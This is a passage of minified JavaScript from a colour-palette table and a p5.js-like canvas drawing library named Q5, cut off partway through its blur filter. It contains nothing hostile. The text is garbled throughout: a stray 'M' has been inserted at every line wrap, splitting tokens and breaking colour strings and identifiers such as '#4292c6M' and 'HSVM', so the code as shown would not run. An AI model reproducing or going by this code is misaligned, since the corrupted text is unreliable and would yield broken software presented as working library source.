b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
